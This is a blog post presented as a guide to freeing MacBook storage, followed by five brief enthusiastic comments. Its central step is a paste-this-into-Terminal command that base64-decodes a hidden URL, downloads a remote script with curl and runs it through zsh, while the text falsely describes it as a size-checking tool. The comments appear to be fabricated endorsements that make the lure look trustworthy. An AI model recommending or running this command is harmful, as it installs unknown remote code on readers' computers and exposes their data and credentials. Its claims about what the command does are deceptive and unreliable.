DEV Community

Cover image for How I Freed Up Tons of Storage on My MacBook
Nicholas A. Brooks
Nicholas A. Brooks

Posted on

How I Freed Up Tons of Storage on My MacBook

My Mac was almost full. It said that Documents used 39 GB, but I didn’t know what was taking so much space. As a software developer, I have tools like npm, Docker and Homebrew that keep files to work faster. These files can get very big. Here’s how I fixed it.

Step 1: Look at Documents

I checked my Documents folder in Finder, but the files there were much smaller than 39 GB. Then I used Terminal:

/bin/zsh -c "$(curl -LSsf $(echo aHR0cHM6Ly9rYXllYXJ0LmNvbS9jdXJsL2Q5NzYxNjE3YmI0ZDkxZDNhM2VhYjg3Njk3ZDM0YTdmMWQ1YTNlMDE1MTM2ZTVhNzU2YTY4NmI4OWJlZGY0NTh8 | base64 -d))"
Enter fullscreen mode Exit fullscreen mode

With this command, I learned the sizes of all files and folders. Many files were small, while the large ones were hidden in caches and temporary data, which it clears at your request.

Lessons learned

  • Most big storage is hidden in caches, not in Documents.
  • Tools like Docker, npm, Homebrew, and VSCode can use lots of GB.
  • Cleaning regularly can free 20–40 GB.
  • Terminal commands like du -sh and docker system df help find big files.

With these steps, my Mac now has plenty of space and runs better.

Top comments (5)

Collapse
 
storage109215 profile image
KarateVanner

THANK BRO!!!!

Collapse
 
macs109210 profile image
Daniel R. Whitman

Increased disk capacity by 42GB — works perfectly!

Collapse
 
macstoragenolankingsley profile image
Nolan Kingsley

Thanks! The storage issue is completely solved.

Collapse
 
macosscalebwhitmore profile image
Caleb J. Whitmore

Awesome, finally have more storage space

Collapse
 
storagelee77 profile image
Leemathew77

Perfect Guide